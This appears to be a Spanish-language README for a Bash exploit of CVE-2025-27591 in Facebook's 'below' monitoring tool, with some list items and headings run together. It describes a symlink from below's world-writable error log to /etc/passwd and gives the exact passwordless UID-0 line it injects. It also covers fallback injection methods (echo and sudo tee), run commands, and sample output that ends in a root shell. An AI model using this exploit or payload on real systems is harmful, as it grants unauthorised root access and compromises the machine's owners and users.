
Un exploit de escalada de privilegios basado en Bash que ataca la herramienta de monitoreo de rendimiento del sistema `below`. Este exploit renovado aprovecha una vulnerabilidad de enlace simbólico en el mecanismo de registro para inyectar un usuario root en `/etc/passwd`, obteniendo acceso root completo.
Un exploit de escalada de privilegios basado en Bash dirigido a la herramienta de monitoreo de rendimiento del sistema below. Este exploit renovado aprovecha una vulnerabilidad de enlace simbólico en el mecanismo de registro para inyectar un usuario root en /etc/passwd, logrando acceso root completo.
Descubierto y reportado por Matthias Gerstner @ SUSE - Aviso de Seguridad
/usr/bin/below (monitor de rendimiento del sistema de Facebook)/var/log/below/error_root.log → /etc/passwdLa herramienta de monitoreo below registra errores en /var/log/below/error_root.log cuando se ejecuta con privilegios elevados. Si el directorio de logs es escribible por cualquier usuario, un atacante puede:
error_root.log hacia /etc/passwdbelow record para escribir mensajes de error en el enlace simbólicoEste exploit automatiza todo el proceso con mecanismos de respaldo inteligentes para manejar diversas configuraciones del sistema.
flowchart TD
A[Start Exploit] --> B[Get Username from User]
B --> C{Check /var/log/below<br/>World-Writable?}
C -->|No| D[Exit: Not Vulnerable]
C -->|Yes| E[Remove Existing error_root.log]
E --> F[Create Symlink:<br/>error_root.log → /etc/passwd]
F --> G{Symlink Created<br/>Successfully?}
G -->|No| D
G -->|Yes| H[Execute: sudo below record]
H --> I[Wait 3 seconds for logging]
I --> J[Kill below process]
J --> K{Payload in<br/>/etc/passwd?}
K -->|Yes| M[Success Path]
K -->|No| L[Attempt Manual Injection:<br/>echo payload >> symlink]
L --> N{Manual Injection<br/>Success?}
N -->|No| O[Try Fallback:<br/>sudo tee -a]
N -->|Yes| M
O --> P{Fallback<br/>Success?}
P -->|No| D
P -->|Yes| M
M --> Q[Verify Payload in /etc/passwd]
Q --> R[Disable Cleanup Trap]
R --> S[Execute: su username]
S --> T[Root Shell Obtained]
style A fill:#e1f5ff
style T fill:#90EE90
style D fill:#ffcccb
style M fill:#98fb98
Fase de Verificación Previa
/var/log/below existaFase de Configuración
error_root.log existente/var/log/below/error_root.log → /etc/passwdFase de Inyección (Método Principal)
sudo below record en segundo plano/etc/passwd de manera útilFase de Inyección (Métodos de Respaldo)
echo >> symlink)sudo tee -a)Fase de Obtención de Shell
/etc/passwdsu <nombredeusuario> para obtener una shell rootLa entrada inyectada en /etc/passwd sigue este formato:
username::0:0:username:/root:/bin/bash
Desglose de Campos:
username: Nombre de usuario proporcionado por el usuario (por defecto: "0xdtc")::: Campo de contraseña vacío (sin contraseña requerida)0:0: UID=0, GID=0 (privilegios root)username: Campo GECOS (descripción del usuario)/root: Directorio home/bin/bash: Shell de inicio de sesiónbelow vulnerable/var/log/below debe ser escribible por cualquier usuariosudo para ejecutar below record# Hacer el script ejecutable
chmod +x CVE-2025-27591
# Ejecutar el exploit
./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): myuser
[+] Using username: myuser
0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
CVE-2025-27591 Exploit (Bash)
========================================
[*] This exploit will create a new root user in /etc/passwd
[?] Enter username for the new root user (default: 0xdtc): 0xdtc
[+] Using username: 0xdtc
[*] Checking for CVE-2025-27591 vulnerability
[+] /var/log/below is world-writable
[*] Testing symlink creation
[+] Symlink test successful
[+] Target is vulnerable
[*] Starting exploitation
[+] Wrote payload to /tmp/exploit_payload
[*] Creating symlink: /var/log/below/error_root.log -> /etc/passwd
[+] Symlink created
[*] Executing 'sudo below record' to trigger logging
[*] Started 'below record' with PID: 12345
[*] Checking if payload was written
[*] Attempting manual injection
[*] Appending payload to /etc/passwd via symlink
[+] Payload appended
[+] Exploitation completed! Payload is in /etc/passwd
[*] Spawning root shell via 'su 0xdtc'
[*] Password should be empty, just press Enter
root@kali:/tmp# whoami
root
El script incluye múltiples mecanismos de respaldo para manejar diversas configuraciones del sistema:
Manejo de Archivos Existentes
Múltiples Métodos de Inyección
below recordsudo teeGestión de Procesos
belowDetección de Re-ejecución
/etc/passwd